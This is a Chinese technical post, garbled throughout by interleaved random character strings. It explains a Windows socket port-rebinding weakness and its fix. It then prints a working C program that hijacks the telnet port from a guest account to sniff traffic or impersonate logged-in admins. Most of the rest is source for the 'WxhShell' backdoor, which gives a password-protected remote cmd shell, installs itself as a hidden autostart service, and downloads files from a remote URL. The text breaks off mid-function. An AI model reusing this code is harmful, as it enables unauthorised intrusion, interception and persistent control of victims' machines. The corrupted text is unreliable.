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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DKCy h` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }
~bOP^' Vjd
=F.V+ saddr.sin_family = AF_INET; :!\./z8v ) O^08]Y g saddr.sin_addr.s_addr = htonl(INADDR_ANY); $KFWV2P d)sl)qt}0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D:,<9 %A 5ZxBmQ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g?M69~G$:x [uHI
6Q# 这意味着什么?意味着可以进行如下的攻击: U#4W"1~iX Vs{sB*: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ti%
e.p0[ y70gNPuTOD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;zG|llX u'>CU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S>Y?QQ3#wp 9]\vw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,#haai( 5gEK$7Vp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q+dI,5YF $!@f{9+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `,"Jc<R7Z Z%=E/xT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tDkqwF), >?KyPp #include H[Cn@XE #include 0qd`Pf #include VPbNLi #include ".4^?d_^VF DWORD WINAPI ClientThread(LPVOID lpParam); HC+R:Dz int main() 70~]J8T+u { N~(}?'y9S WORD wVersionRequested; z_)$g=9$ DWORD ret; ?K"]XXsI WSADATA wsaData; E*vi@aI BOOL val; G
y2XjO8b SOCKADDR_IN saddr; 5KzU&!Zh9 SOCKADDR_IN scaddr; v\vn}/>*d int err; %LyB~X SOCKET s; mx2 Jt1 SOCKET sc; VM`."un] int caddsize; )uP= o HANDLE mt; C{-pVuhK+ DWORD tid; \b->AXe8 wVersionRequested = MAKEWORD( 2, 2 ); q$P"o].EK err = WSAStartup( wVersionRequested, &wsaData ); B!0[LlF+ if ( err != 0 ) { A@ +.[[ printf("error!WSAStartup failed!\n"); M-_)CR return -1; ux=@"!PJ } _"=~aMXC.) saddr.sin_family = AF_INET; &*iiQ3 l_WY];a //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qi M>59[ O{PRK5 ^h saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O?_'6T saddr.sin_port = htons(23); 'J}lnt[V if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G>j/d7 { Qk=
w ,` printf("error!socket failed!\n"); +;T%7j"wz return -1; 5"+* c@L } Vufw:}i+^ val = TRUE; G>b1No3%k //SO_REUSEADDR选项就是可以实现端口重绑定的 @)}U\= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O`eNuQSv { w[XW>4xK printf("error!setsockopt failed!\n"); #AHIlUH"m return -1; .*,ZcO } u4Sa4o //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +x1sV *S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IKt9=Tx //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LxbVRw 2-]m#}zbP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C/XOI> { -v:Y\=[\ ret=GetLastError(); cWi2Sls printf("error!bind failed!\n"); ,F1$Of/'@\ return -1; NJ~'`{3v } W\Gg!XsLk listen(s,2); 6-o Qs? while(1) JO$0Z { D^pAf/ek@i caddsize = sizeof(scaddr); :sf;Fq //接受连接请求 ."2V:;; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `f(!i mN if(sc!=INVALID_SOCKET) 87-oR}/r { hX^XtIC= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \"Np'$4eu if(mt==NULL) >+1bTt/-F { :r\<DVj printf("Thread Creat Failed!\n"); S+He break; }"szL=s } ^t| %!r
G } $wBUu CloseHandle(mt);
z\\MLyS } m~}nM |m% closesocket(s); v>,XJ 7P WSACleanup(); y==x return 0; @E}4LTB }
;HW@ZI DWORD WINAPI ClientThread(LPVOID lpParam) :5dq<>~ { J[^-k!9M SOCKET ss = (SOCKET)lpParam; D;Z\GnD SOCKET sc;
5!wa\)wY unsigned char buf[4096]; 1(-)$m8} SOCKADDR_IN saddr; 9Gy1T3y5" long num; ~; MRQE DWORD val; *@D.=i> DWORD ret; + 505 //如果是隐藏端口应用的话,可以在此处加一些判断 Er{yQIi0L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Tfj%Sb,zM
saddr.sin_family = AF_INET; FN G] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PJ);d>tz saddr.sin_port = htons(23); 3t8VH`!mL{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q$\KE4v" { 1Ztoj}!I printf("error!socket failed!\n"); /:B!hvpw return -1; %kF6y_h` } %/4ChKf!VR val = 100; o_{-X 1w if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nl0*"}`I_ { Qax=_[r ret = GetLastError(); $~_TE\F1 return -1; p2\@E}
z } KZ&{Ya if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F6yMk% { WxFVbtw ret = GetLastError(); :
xW.(^(d return -1; |SCO9,Fs } QO~!S_FRH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L_Z>*s& { \:8
>@Q printf("error!socket connect failed!\n"); _pL:dKfy7 closesocket(sc); L~>pSP^a closesocket(ss); (r.[b return -1;
ym^ } rQCj^=cf;~ while(1) \Gg6&:Ua { ',~,hJ0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Db@$' //如果是嗅探内容的话,可以再此处进行内容分析和记录 'V/+v#V+> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DYx3NDX7 num = recv(ss,buf,4096,0); zW8rC! if(num>0) rjz$~(&m6 send(sc,buf,num,0); ^Yul|0*J else if(num==0) ]sB-}n) break; wX[g\,?}' num = recv(sc,buf,4096,0); _ ZMoPEW if(num>0) ?`8jn$W^ send(ss,buf,num,0); $cflF@3 else if(num==0) ;Lr]w8d break; WWZ`RY } fgdqp8~ closesocket(ss); >8PGyc*9 closesocket(sc); j"1#n? 0 return 0 ; +8h!@ } U4M}E h8 Qq+$ea?> vnc-W3N ========================================================== y\k#83aU| ^ZuwUuuf 下边附上一个代码,,WXhSHELL 8#L
V
oR UU'0WIbY6 ========================================================== *MC+i$ x4v@o?zW #include "stdafx.h" ?h\fwF3 {9B"'65o #include <stdio.h> 9?]69O
#include <string.h> (X zy~l< #include <windows.h> , Ox$W #include <winsock2.h> "lLwgh; #include <winsvc.h> @S9^~W3G3 #include <urlmon.h> gv\WI4"n As{ "B #pragma comment (lib, "Ws2_32.lib") 6--t6>5 #pragma comment (lib, "urlmon.lib") mUA!GzJ~u- TsVU^Z%W #define MAX_USER 100 // 最大客户端连接数 lWPh2k #define BUF_SOCK 200 // sock buffer P_}wjz}9ZX #define KEY_BUFF 255 // 输入 buffer =hY9lxW 6({TG&`!] #define REBOOT 0 // 重启 18nT
Iz_ #define SHUTDOWN 1 // 关机 z_f^L %J0 WIKSz
{"=/ #define DEF_PORT 5000 // 监听端口 Xrl# DN YC[cQX #define REG_LEN 16 // 注册表键长度 T_)G 5a #define SVC_LEN 80 // NT服务名长度 t03X/%H 0uL*-/| // 从dll定义API <c3Te$. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T{:8,CiW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o4U0kiI@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;"B@QPX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zt;aB>jz# PCx: // wxhshell配置信息 AcP d(Pc struct WSCFG { I9Lt>* int ws_port; // 监听端口 "O~7s} char ws_passstr[REG_LEN]; // 口令 YJGP8 int ws_autoins; // 安装标记, 1=yes 0=no O@HL%ha char ws_regname[REG_LEN]; // 注册表键名 ^u(-v/D9 char ws_svcname[REG_LEN]; // 服务名 S-5O$EnD char ws_svcdisp[SVC_LEN]; // 服务显示名 H
S)$|m_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 &yRR!1n)H char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2Q%*`
vCuV int ws_downexe; // 下载执行标记, 1=yes 0=no _9yW; i- char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" n|fKwWB\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s~06%QEG ]TVc 'G; }; BD-
c<K" 4s9qQ8? // default Wxhshell configuration /Z~5bb( struct WSCFG wscfg={DEF_PORT, os n ,kD* "xuhuanlingzhe", +,]_TxL|C 1, [gGo^^aW# "Wxhshell", cs9"0&JX "Wxhshell", c+{ ar^)* "WxhShell Service", W[f%m0 "Wrsky Windows CmdShell Service", h<G7ocu ! "Please Input Your Password: ", l?A~^4(5a/ 1, =6a=`3r!I " http://www.wrsky.com/wxhshell.exe", Th
X6e "Wxhshell.exe" b#-=Dbe }; lWDSF]ZYV r{{5@ // 消息定义模块 (&-I-#i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;OC{B}.vH char *msg_ws_prompt="\n\r? for help\n\r#>"; z+KZ6h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; e=+q*]> char *msg_ws_ext="\n\rExit."; >}B53.;.k char *msg_ws_end="\n\rQuit."; d ATAH}r& char *msg_ws_boot="\n\rReboot..."; F. I\?b char *msg_ws_poff="\n\rShutdown..."; g_@b- :$Yq char *msg_ws_down="\n\rSave to "; v6H!.0 s<;{q+1# char *msg_ws_err="\n\rErr!"; \0K&2' char *msg_ws_ok="\n\rOK!"; liBFx6\"S \!"3yd char ExeFile[MAX_PATH]; ^fV-m&F)K* int nUser = 0; x\IuM HANDLE handles[MAX_USER]; XqGa]/;} int OsIsNt; Wj8WT)cB
3L-$+j~u SERVICE_STATUS serviceStatus; 7Y)i>[u3 SERVICE_STATUS_HANDLE hServiceStatusHandle; O;$}j:;KF `a[
V_4wO // 函数声明 y7,t"XV int Install(void); *TrpW?]Y& int Uninstall(void); '!`| H 3 int DownloadFile(char *sURL, SOCKET wsh); (Vn3g ra int Boot(int flag); TEla?N void HideProc(void); nbW.x7 int GetOsVer(void); 4b+_|kYb int Wxhshell(SOCKET wsl); e:K'e2 void TalkWithClient(void *cs); lt yhYPS int CmdShell(SOCKET sock); ,&g-DCag int StartFromService(void); vsPIvW!V int StartWxhshell(LPSTR lpCmdLine); ix38|G9U >`|Wg@_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EN__C$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); <nK@+4EH"o N'PK4: // 数据结构和表定义 11Uu5e!. SERVICE_TABLE_ENTRY DispatchTable[] = W)^%/lAh { KO/#t~ {wscfg.ws_svcname, NTServiceMain}, -c{ Y+M` {NULL, NULL} _Ea1;dJmq }; t.
HwX9 XjmAM/H4 // 自我安装 2Ima15^+F int Install(void) (=j/"Mb { ^F-2tc char svExeFile[MAX_PATH]; 0b<Qs88yd> HKEY key; +jS<n13T strcpy(svExeFile,ExeFile); \=$G94% WqS$C;]% // 如果是win9x系统,修改注册表设为自启动 n'?]_z< if(!OsIsNt) { 3HNm`b8G4m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o}D
}Q"=A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EztuVe RegCloseKey(key); VCT1GsnE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t3*.Bm:^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F6\4[B RegCloseKey(key); $@w,9J\ return 0; 3lKs>HE0 } n]nJ$u1u } I,aaSBwt&2 } +Y2D @K?) else { gQ|?~hYYv q"WfKz!U // 如果是NT以上系统,安装为系统服务 fhha-J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o=PW)37> if (schSCManager!=0) -FrK'!\ { Pa=xc>m^ SC_HANDLE schService = CreateService A<(Fn_&W ( fJ=(oF= schSCManager, &x4*YMh wscfg.ws_svcname, s=1 k9
wscfg.ws_svcdisp, n?S)H= SERVICE_ALL_ACCESS, BAG#YZB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h
A'>
SERVICE_AUTO_START, K.Cx 9 SERVICE_ERROR_NORMAL, uH7!)LE# svExeFile, bIzBY+P NULL, P057]cAat< NULL, : H]MMe NULL, 9`CJhu NULL, P%d3fFzK NULL AmUH]+5KT ); &o&}5Aba9 if (schService!=0) kX*.BZI}C { HIvSh6|0p CloseServiceHandle(schService); :c(I-xif CloseServiceHandle(schSCManager); ^`RMf5i1m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !u/c'ZLZ> strcat(svExeFile,wscfg.ws_svcname); !,sQB_09C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]<9o>#3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YpG6p0
nd RegCloseKey(key); umpa!q}; return 0; q6o}2<T@ } TXbi>t:/S{ } zQB1C CloseServiceHandle(schSCManager); cet|k! } l=a<=i } z)R\WFBW l{\k\Q !4 return 1; M(ie1Ju } 6kONuG7Yv '
R= O eH // 自我卸载 ++!0r['+> int Uninstall(void) {>Qs+] { nFefDdP HKEY key; \.F|c J6nH|s8 if(!OsIsNt) { "rrE_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Re1}aLd RegDeleteValue(key,wscfg.ws_regname); yJ(ITJE_Z RegCloseKey(key); u~Y+YzCxV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N`vPt?@ RegDeleteValue(key,wscfg.ws_regname); j k])S~xl? RegCloseKey(key); dAaxbP| return 0; n ,@ge } aOEW$% } 1V]j8 } R?:(~ X\ else { Gd|jE (cp$poo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Fl\kt.G if (schSCManager!=0) kvt^s0T8Q { b^<7@tY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l i%8X. if (schService!=0) 3IoN. { i>=y3x" if(DeleteService(schService)!=0) { f/Q/[2t CloseServiceHandle(schService); u}jC$T>2%6 CloseServiceHandle(schSCManager); 4@@gC&:Y return 0; Pj7MR/AH } )!sjXiC!h CloseServiceHandle(schService); FuP~_ E~ } "gXvnl CloseServiceHandle(schSCManager); ?Lr:> } V|;os } )u307Lg 3`ze<K(( return 1; *C(q{|f } QhPpo#^ _D1)_?`a@- // 从指定url下载文件 V&d?4i4/Q int DownloadFile(char *sURL, SOCKET wsh) ^C{?LH/2 { C+-sf HRESULT hr; p49T3V char seps[]= "/"; r6e!";w:U char *token; QaAMiCZFR char *file; S{~j5tQv^q char myURL[MAX_PATH]; [Ib17#74 char myFILE[MAX_PATH]; t=dZM}wj_\ w6[$vib' strcpy(myURL,sURL); >fgV!o4 token=strtok(myURL,seps); /O$)m[ while(token!=NULL) iBqIV { HjX)5@"o( file=token; !)uXCg9U token=strtok(NULL,seps); BWsD~Ft } 6hqqZ uF]+i^+ GetCurrentDirectory(MAX_PATH,myFILE); W u693< strcat(myFILE, "\\"); #EO],!JM strcat(myFILE, file); $+HS^m send(wsh,myFILE,strlen(myFILE),0); 3$kElq[ send(wsh,"...",3,0); 76S>xnN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,+RoJwi m if(hr==S_OK) v0|"[qGb return 0; f2{qj5 K else %l)~C%T return 1; jp-]];:aPJ b]\V~ZaXG } 8?k.4{? {>.qo<k // 系统电源模块 < nyk:E int Boot(int flag) ps=QVX)YP { )jN fQ!?/ HANDLE hToken; bl;v^HR0) TOKEN_PRIVILEGES tkp; JLV?n,nF 4(\7Or('' if(OsIsNt) { lV2MRxI OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2N_9S?a3sK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1z=}`,?> tkp.PrivilegeCount = 1; IN94[yW{1 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WWWfQ_u2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .(zZTyZr if(flag==REBOOT) { aV?r %'~Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BGVy
\F< return 0; }#U3vMx( } Q@#Gm9m else { 8^dsx1U# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .Dg'MMBM return 0; 2E}^'o } v4wXa:CJ } 78<QNlKn else { auQfWO[ u if(flag==REBOOT) { p=J9N-EM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f*~z| return 0; "Q<*H<e } Z'z~40Bda else { L\asrdL?= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VR0#" return 0; esQRg~aCGy } 1_.#'U> } UQ 'U
4q @Ao E> return 1; \ g[A{ } >zAI#N4 EaGS}=qY5 // win9x进程隐藏模块 !4G<&hvb void HideProc(void) 8RR6f98FF { 4\yKd8I da&f0m U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Aw *:5 I[ if ( hKernel != NULL ) ~cEr<mzR { "A?_)=zZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ; i><03 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v{2Vg FreeLibrary(hKernel); 4';tMiz } &Wup
7 yw;!KUKb| return; lC i_G3C } -m~[z O}3M+ // 获取操作系统版本 &j7l#Urq int GetOsVer(void) ,FPgbs { $0zH2W OSVERSIONINFO winfo; D:HeP:.I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lFY;O !Y5\ GetVersionEx(&winfo); <!vAqqljt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]X)EO49 return 1; `&U ['_% else lA<IcW return 0; T<0Bq"'% } r8M/E
lbk 3:Sv8csT // 客户端句柄模块 EF{_-FXY int Wxhshell(SOCKET wsl) S-h1p` { 6X:-Z3 SOCKET wsh; O!uB|* struct sockaddr_in client; dR_hPBn/@ DWORD myID; @]HV:7<q |[TH
~o while(nUser<MAX_USER) m-a_<xo { >}/"gx int nSize=sizeof(client); s^9N7' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3P p*ID if(wsh==INVALID_SOCKET) return 1; Nu{RF <96ih$5D1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9bXU!l[ if(handles[nUser]==0) 6|LDb"Rvy closesocket(wsh); -zz9k=q else *.EtdcRo[ nUser++; SJ7>*Sa(u$ } cuquA ~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^B?koU l^ 'eqvK|Uj: return 0; J\
} :"O=/p+*Us Dl/UZ@8pl // 关闭 socket Qq]UEI `Go void CloseIt(SOCKET wsh) VkhK2 { m$hSL4N closesocket(wsh); 7!JoP?! nUser--; uD:O[H-x ExitThread(0); 60AX2-sdJ, } {Rw~G&vQ K{>O.5 // 客户端请求句柄 ?67j+) void TalkWithClient(void *cs) i$:CGUb { Punbw\9!d, on&N=TN SOCKET wsh=(SOCKET)cs; |klL KX& char pwd[SVC_LEN]; p7H*Ff` char cmd[KEY_BUFF]; n7<<}wcV char chr[1]; 6o A0a\G' int i,j; ocgbBE $X*$,CCIB while (nUser < MAX_USER) { (%+DE4? }>frK#S if(wscfg.ws_passstr) { &<^@/osi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tg8VFH2q.z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <"[}8 //ZeroMemory(pwd,KEY_BUFF); J?%D4AeS]v i=0; )s=z i" while(i<SVC_LEN) { c@nl;u)n &
bw1 // 设置超时 R?&S]?H fd_set FdRead; At bqj? struct timeval TimeOut; Vj?.' ( FD_ZERO(&FdRead); /CA)R26G FD_SET(wsh,&FdRead); KP<J~+_ik TimeOut.tv_sec=8; acGmRP9g TimeOut.tv_usec=0; #sqDZ]\B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3&?Tc|F+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yaa
M-o h0^V!.-5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TyBNRnkt pwd =chr[0]; ZA9']u%EJ if(chr[0]==0xd || chr[0]==0xa) { WVNQ}KY pwd=0; Aoo'i break; C,IN+@ } *V"cu i++; {YGz=5 ^ } $Jr`4s 5W{>5.Arx) // 如果是非法用户,关闭 socket Y\%}VD2k if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G8;S`-D1a, } ToMX7xz6 &%*S send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h
|lQTT send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 93!a 6=@n
b3D% while(1) { Maa.>2v< ?D\%ZXo ZeroMemory(cmd,KEY_BUFF); v;RQVH;, f<}!A$wd // 自动支持客户端 telnet标准 AQiP2`? j=0; |@@mq!>- while(j<KEY_BUFF) { Bs1-UI}+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RV$+g.4 cmd[j]=chr[0]; &iGl)dDr if(chr[0]==0xa || chr[0]==0xd) { Ov<3?)ok cmd[j]=0; $>h#|?*? break; ROjjN W`W } | 5L1\O8# j++; ?X9
=4Z~w } 6szkE{-/? f C^l9CRY // 下载文件 2?r8>#_* if(strstr(cmd,"http://")) { K?;p: send(wsh,msg_ws_down,strlen(msg_ws_down),0); jo(Q`oxm!> if(DownloadFile(cmd,wsh)) "aBd0i& send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0%0yb{-^ else 3H%HJS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N*SgP@Bt } (O-)uC else { 0%qUTGj 23f[i<4e switch(cmd[0]) { wr$}AX 3N
bn|_`( // 帮助 wqwJpWIe case '?': { ?V{k\1A send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `HM3YC break; > 4ct[fW+ } VA%"IAl // 安装 >#:/
GN? case 'i': { YEQW:r_h.S if(Install()) E?XCL8NC send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6|KX8\,A@ else +_gT|vlU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6oP{P_Pxi break; #c^Q<&B } #8z,'~\ // 卸载 V{h@nhq case 'r': { I:e2sE
": if(Uninstall()) [\b_+s)eN send(wsh,msg_ws_err,strlen(msg_ws_err),0); &
.?HuK else gr
5]5u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <nvWC/LU break; 99 !{[gOv } &5.~XM; // 显示 wxhshell 所在路径 xploFw~ case 'p': { (J*w./ char svExeFile[MAX_PATH]; Idlu1g strcpy(svExeFile,"\n\r"); W"kw>JEt strcat(svExeFile,ExeFile); "k-ov9yK send(wsh,svExeFile,strlen(svExeFile),0); %]ayW$4 break; |mk}@OEf } S/-7Zo&w+ // 重启 4*vas]
case 'b': { iw
fp' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5FSv"= if(Boot(REBOOT)) zcB2[eaV send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$)|/Y)) else { #Q3PzDfj closesocket(wsh); Tdwwtbe ExitThread(0); I/Jp,~JT* } B#aH\$_U break; |2@en=EYk } e5ru:#P.p // 关机 ^
6.lb\ case 'd': { }[z<iij4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WkaR{{nM if(Boot(SHUTDOWN)) naIv= send(wsh,msg_ws_err,strlen(msg_ws_err),0); !&`\ LJ=j else { 5)yOw|Bd closesocket(wsh); g6g$nY@Jm ExitThread(0); nnE_OK!}T } JT|u;Z*n break; 14D7U/zer } o}=. // 获取shell WE[m@K[CR case 's': { *sw-eyn( CmdShell(wsh); VkpHzr[k closesocket(wsh); iS"8X#[]N ExitThread(0); Px?Ao0)Z, break;
s8_aL)@f } ^IGyuj0]jG // 退出 @ EmGexLPM case 'x': { jJVT_8J send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]G0dS
Fh{j CloseIt(wsh); h}|6VJ@. break; #+"4&:my } C]'g:93L // 离开 BF36V\ case 'q': { e3eVvl5] send(wsh,msg_ws_end,strlen(msg_ws_end),0); t'R':+0Vf closesocket(wsh); &Vt2be* WSACleanup(); a jQqj. exit(1); 0||"r&:X break; w<65S } 'Y!pY]Z } / Mod=/e } i3Hz"Qs; yI8m%g% // 提示信息 lwOf)jK:J if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fxDj+Q1p } >5;N64]!) } P8wy*JvT /vjGjb=3U return; f.oP } W]]q=c%2 TMJ9~"IO // shell模块句柄 5`{vE4A]q int CmdShell(SOCKET sock) r C_d$Jv { b~_B
[cf STARTUPINFO si; e?V,fzg ZeroMemory(&si,sizeof(si)); XFW5AP si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^qxdmMp)l si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5YiZ-CQ> PROCESS_INFORMATION ProcessInfo; &%^K,Q" char cmdline[]="cmd"; 5W+{U8\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s^w\zz Yb return 0; =fl%8"%N& } vsKl#R B BhKO_wQ?:J // 自身启动模式 P##Z[$IJ3 int StartFromService(void) &=6%> { S%kS#U${| typedef struct cd!|Ne>fe { {j?7d; 'j DWORD ExitStatus; nv"G;W DWORD PebBaseAddress; v~"Ef_` DWORD AffinityMask; n)#Lh
7X" DWORD BasePriority; Xo Y7/&& ULONG UniqueProcessId; 2MuO*.9D ULONG InheritedFromUniqueProcessId; 2"@Ft()] } PROCESS_BASIC_INFORMATION; a/~29gW8E\ GR%{T'ZD` PROCNTQSIP NtQueryInformationProcess; Z,WubX< ^'vIOq-1v static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d$K=c1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3 > |uF iK!dr1:wSw HANDLE hProcess; 0Uw
